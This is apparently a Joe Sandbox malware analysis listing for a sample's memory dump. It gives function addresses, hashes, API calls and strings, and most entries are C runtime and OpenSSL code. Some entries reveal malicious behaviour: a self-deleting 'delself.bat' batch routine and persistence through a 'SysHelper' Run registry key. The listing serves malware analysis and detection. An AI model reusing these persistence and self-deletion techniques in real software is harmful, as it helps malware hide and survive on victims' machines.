Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Function 00786740 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Function 007869F3 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c2c8ef5cf37dc42d7b9daea482636807260ca205bfa205e3613290ba1c6ebc1
Instruction ID: 68d40f21ffcac70b294b0748293da04cf56804bcd0752314de02b0ff7712bfe9
Opcode Fuzzy Hash: 9c2c8ef5cf37dc42d7b9daea482636807260ca205bfa205e3613290ba1c6ebc1
Instruction Fuzzy Hash: B7311230618341AFD745EF29C884A4BF7E4FFC8658F01C919F9889B221D734A9848BA2

Function 007A0F30 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: cdb5e424ecc6d89f74b6239cc4c6ad4c4676deb2ec5af6dbe522d603189db5b7
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 21113D772061814FD6348A3DC8B86F7A395EBC7322B2C4F7AE041BB754D22AE9459980

Function 0078A660 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: 23a6695fc9e9683c8a7c42f8685a34798559e33ed669e39d007050cc3d06470d
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: C9111F4A8492C4BDCF424A7840E56EBFFA58E37218F5A71DAC8C45B753D01B190FE7A1

Function 00789DFA Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: 20d4ee45e15fc0852a96b5d7b59edd387a6cedc2291212df0aa9d4e21b788560
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: D1014F769106629BD700DF3EC8C0456FBF1BB082117568B36DC9083A41D334F562DBE4

Function 00781178 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76a311831fe1e60546af749dccb537b41bb812f1b76eaed3c553d2b2c4057995
Instruction ID: 60077d22d133549963b315faffb3ccbafe9b4cb6f2d745f380d5ca5b4508885d
Opcode Fuzzy Hash: 76a311831fe1e60546af749dccb537b41bb812f1b76eaed3c553d2b2c4057995
Instruction Fuzzy Hash: 95C09B319402044FDB65DA24DC613A273B37797300F559494D11747411E73B9015C606

Function 007924E0 Relevance: 79.0, APIs: 36, Strings: 9, Instructions: 214synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}), ref: 007924FE
GetLastError.KERNEL32 ref: 00792509
CloseHandle.KERNEL32 ref: 0079251C
CloseHandle.KERNEL32 ref: 00792539
CreateMutexA.KERNEL32(00000000,00000000,{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}), ref: 00792550
GetLastError.KERNEL32 ref: 0079255B
CloseHandle.KERNEL32 ref: 0079256E

Strings

@echo off:trydel ", xrefs: 0079262A
{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}, xrefs: 007924F5
"if exist ", xrefs: 00792648
" goto try, xrefs: 00792666
D, xrefs: 00792720
TEMP, xrefs: 007925DF
delself.bat, xrefs: 0079261C
{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00792547
del ", xrefs: 00792674

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateErrorLastMutex
String ID: "if exist "$" goto try$@echo off:trydel "$D$TEMP$del "$delself.bat${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2372642624-488272950
Opcode ID: 31fe24071dbaa64c0ff18f6e4b335f91ac7cec885b5794ba527c5a50842c48fd
Instruction ID: 0f00cd30f89f7206b1b206ca2730f8c9a1fc3eaf1a0741270b3e98d58d8f6669
Opcode Fuzzy Hash: 31fe24071dbaa64c0ff18f6e4b335f91ac7cec885b5794ba527c5a50842c48fd
Instruction Fuzzy Hash: 18717E76940218ABDF90EBE0EC89FEE77ACFB44705F100596F609E2151DB799A48CF60

Function 007A7B21 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 84COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 007A7B29
_free.LIBCMT ref: 007A7B42

Part of subcall function 007A0BED: HeapFree.KERNEL32(00000000,00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C01
Part of subcall function 007A0BED: GetLastError.KERNEL32(00000000,?,007A507F,00000000,007A520D,007A0CE9), ref: 007A0C13

_free.LIBCMT ref: 007A7B55
_free.LIBCMT ref: 007A7B73
_free.LIBCMT ref: 007A7B85
_free.LIBCMT ref: 007A7B96
_free.LIBCMT ref: 007A7BA1
_free.LIBCMT ref: 007A7BC5
EncodePointer.KERNEL32(005D2C48), ref: 007A7BCC
_free.LIBCMT ref: 007A7BE1
_free.LIBCMT ref: 007A7BF7
_free.LIBCMT ref: 007A7C1F

Strings

H,], xrefs: 007A7B5A, 007A7B7E, 007A7B90
(V^, xrefs: 007A7C03, 007A7C10, 007A7C25

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: (V^$H,]
API String ID: 3064303923-1106808883
Opcode ID: 01ee2079aad72bbc33230f2d0ee82c2001990496883b888fed63e0dc694d756d
Instruction ID: 7d6612650862ee21db8c3d1b938335a43aff8e0e0c93fc52cdaef0541c2546aa
Opcode Fuzzy Hash: 01ee2079aad72bbc33230f2d0ee82c2001990496883b888fed63e0dc694d756d
Instruction Fuzzy Hash: CC217CF6909250CFDB247F55AD849097768FB86B28318063BEA54972A0CA796C80CFE4

Function 007E35B0 Relevance: 21.5, APIs: 7, Strings: 5, Instructions: 475COMMONLIBRARYCODE

Download Yara Rule

APIs

_strncmp.LIBCMT ref: 007E36AA
_strncmp.LIBCMT ref: 007E36DA
_strncmp.LIBCMT ref: 007E3835
_strncmp.LIBCMT ref: 007E3946
_strncmp.LIBCMT ref: 007E39EA
_strncmp.LIBCMT ref: 007E3A06
_strncmp.LIBCMT ref: 007E3A27

Strings

, xrefs: 007E3A90
-----BEGIN , xrefs: 007E36A4
-----, xrefs: 007E36D4, 007E3A21
.\crypto\pem\pem_lib.c, xrefs: 007E3709, 007E374F, 007E3791, 007E3A69, 007E3B02, 007E3B62, 007E3B85, 007E3BDA
-----END , xrefs: 007E382F, 007E3940, 007E39E4

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: $-----$-----BEGIN $-----END $.\crypto\pem\pem_lib.c
API String ID: 909875538-2733969777
Opcode ID: b3d5f3c6033fdd63abdccafec8de45485bc6cbf1494a53cd6062466c204fa931
Instruction ID: 09a87ff40a6c8c79ddfa04496da5d95618d1c28c37969f47d76f1a94754639d5
Opcode Fuzzy Hash: b3d5f3c6033fdd63abdccafec8de45485bc6cbf1494a53cd6062466c204fa931
Instruction Fuzzy Hash: CFF1D6B1609381ABD721DA25CC4AF5BB7D9AB59704F040829F98DD7383E778DA0487A3

Function 007A5A97 Relevance: 19.6, APIs: 13, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 007A5AAE

Part of subcall function 007A8C96: __calloc_impl.LIBCMT ref: 007A8CA5

__calloc_crt.LIBCMT ref: 007A5AD2
_free.LIBCMT ref: 007A5AE0
__calloc_crt.LIBCMT ref: 007A5AEE
_free.LIBCMT ref: 007A5AFE
_free.LIBCMT ref: 007A5B04
__copytlocinfo_nolock.LIBCMT ref: 007A5B13
__wsetlocale_nolock.LIBCMT ref: 007A5B20
__setmbcp_nolock.LIBCMT ref: 007A5B34
_free.LIBCMT ref: 007A5B42
___removelocaleref.LIBCMT ref: 007A5B49
___freetlocinfo.LIBCMT ref: 007A5B50
_free.LIBCMT ref: 007A5B56

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 3bf0b4c3c67fdf1bcdb87a2e907e529ba97229d027c02d5ee29a9265f1b62a62
Instruction ID: bf31bc4565408a02c80a002692a84ec6959c9e5a0af70d8e59caccb94f5ad54d
Opcode Fuzzy Hash: 3bf0b4c3c67fdf1bcdb87a2e907e529ba97229d027c02d5ee29a9265f1b62a62
Instruction Fuzzy Hash: 6D21F675208A01EBE7217F64DC0AE0FBFD4DFC3B20B108729F45455192EA7A9810DBB1

Function 0079BAE0 Relevance: 18.3, APIs: 12, Instructions: 320windowCOMMON

Download Yara Rule

APIs

PostQuitMessage.USER32(00000000), ref: 0079BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0079BBBA
_malloc.LIBCMT ref: 0079BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0079BBF4
_free.LIBCMT ref: 0079BCD7

Part of subcall function 00791CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D12
Part of subcall function 00791CD0: _memset.LIBCMT ref: 00791D3B
Part of subcall function 00791CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00791D63
Part of subcall function 00791CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0084AC68,000000FF), ref: 00791D6C
Part of subcall function 00791CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00791DD6
Part of subcall function 00791CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00791E48

IsWindow.USER32(?), ref: 0079BF69
DestroyWindow.USER32(?), ref: 0079BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0079BFA8

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
String ID:
API String ID: 3873257347-0
Opcode ID: 5e9169f5e5ae2766a523f4eccb79ab7059c33cd5c40613de5670bde9ec73b1be
Instruction ID: f5864ca9a72bac76307e2d2871209ee152af7933205845d31d61d26c1d29efc4
Opcode Fuzzy Hash: 5e9169f5e5ae2766a523f4eccb79ab7059c33cd5c40613de5670bde9ec73b1be
Instruction Fuzzy Hash: 28C1CD71508340DFDB20DF28ED49B5ABBE5FF86318F044A2DF499932A2D7799904CB92

Function 007A70A5 Relevance: 18.3, APIs: 12, Instructions: 289COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 007A708B
DecodePointer.KERNEL32(?,?,?,?,000000FF,?,?,007E3083,?,00000000,00000000), ref: 007A71FE
DecodePointer.KERNEL32(?,?), ref: 007A722A
DecodePointer.KERNEL32(?,?), ref: 007A724F
__aulldvrm.LIBCMT ref: 007A7385
_write_multi_char.LIBCMT ref: 007A7477
_write_string.LIBCMT ref: 007A74A0
_write_multi_char.LIBCMT ref: 007A74C2
__cftof.LIBCMT ref: 007A7500
_write_string.LIBCMT ref: 007A7531
_write_string.LIBCMT ref: 007A756B
_write_multi_char.LIBCMT ref: 007A7592
_free.LIBCMT ref: 007A75AB

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: DecodePointer_write_multi_char_write_string$__aulldvrm__cftof_free_strlen
String ID:
API String ID: 559064418-0
Opcode ID: b37b757c2600253e3cbe5cbe03adb7e69c35ccf799a4337251f63300f6dbb602
Instruction ID: bfa36e094da480ef3f5ee3c2130bae3e39963e2781cf8f538c12ccf10a972313
Opcode Fuzzy Hash: b37b757c2600253e3cbe5cbe03adb7e69c35ccf799a4337251f63300f6dbb602
Instruction Fuzzy Hash: BBB1A471D092699FDF289B58CC8CBAAB7B5FFD6310F1402D9D808A6251E7399E80DF50

Function 00791B90 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 110stringcomCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00791BB0
CoCreateInstance.OLE32(0084E908,00000000,00000001,0084D568,00000000), ref: 00791BC8
CoUninitialize.OLE32 ref: 00791BD0
SHGetSpecialFolderLocation.SHELL32(00000000,00000007,?), ref: 00791C12
SHGetPathFromIDListW.SHELL32(?,?), ref: 00791C22
lstrcatW.KERNEL32(?,00880050), ref: 00791C3A
lstrcatW.KERNEL32(?), ref: 00791C44
GetSystemDirectoryW.KERNEL32(?,00000100), ref: 00791C68
lstrcatW.KERNEL32(?,\shell32.dll), ref: 00791C7A

Strings

\shell32.dll, xrefs: 00791C6E

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrcat$CreateDirectoryFolderFromInitializeInstanceListLocationPathSpecialSystemUninitialize
String ID: \shell32.dll
API String ID: 679253221-3783449302
Opcode ID: 7da784302605bfc5b25d963eb7752981b3a5f4ac943d6877fe489035a937be44
Instruction ID: 4f97fa2b800712e8eab3c03a51eef6332d14ae08fbd940209df6dcbe0943e059
Opcode Fuzzy Hash: 7da784302605bfc5b25d963eb7752981b3a5f4ac943d6877fe489035a937be44
Instruction Fuzzy Hash: 57414B75A40219AFDB10DFA4DC88FAA7BBCFF49704F104499B605EB250D7B4AE45CB60

Function 007D49A0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 107libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000001,?,007D4B72), ref: 007D49C7
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 007D49D7
GetDesktopWindow.USER32 ref: 007D49FB
GetProcessWindowStation.USER32(?,007D4B72), ref: 007D4A01
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,007D4B72), ref: 007D4A1C
GetLastError.KERNEL32(?,007D4B72), ref: 007D4A2A
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,007D4B72), ref: 007D4A65
_wcsstr.LIBCMT ref: 007D4A8A

Strings

Service-0x, xrefs: 007D4A80
_OPENSSL_isservice, xrefs: 007D49D1

Memory Dump Source

Source File: 00000000.00000002.1715727239.0000000000781000.00000020.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.1715711222.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715797633.000000000084C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715829386.000000000088A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715844907.000000000088C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.0000000000890000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715861125.00000000008A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715911923.00000000008AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: 47baebae477483d90827f9e248a72e4e0d4abc64a8f429f32907269a73df93e8
Instruction ID: 5392b76fd1da5227c610c9cdff00d5844ce27697d9dc37101d42b578a393cc81
Opcode Fuzzy Hash: 47baebae477483d90827f9e248a72e4e0d4abc64a8f429f32907269a73df93e8
Instruction Fuzzy Hash: 83319435A40105ABDB209FBAEC466AE77B8FB85720F104266E816D72E0EB349904CB51

Function 007D4AE0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 75registrywindowCOMMONLIBRARYCODE

Download Yara Rule

APIs

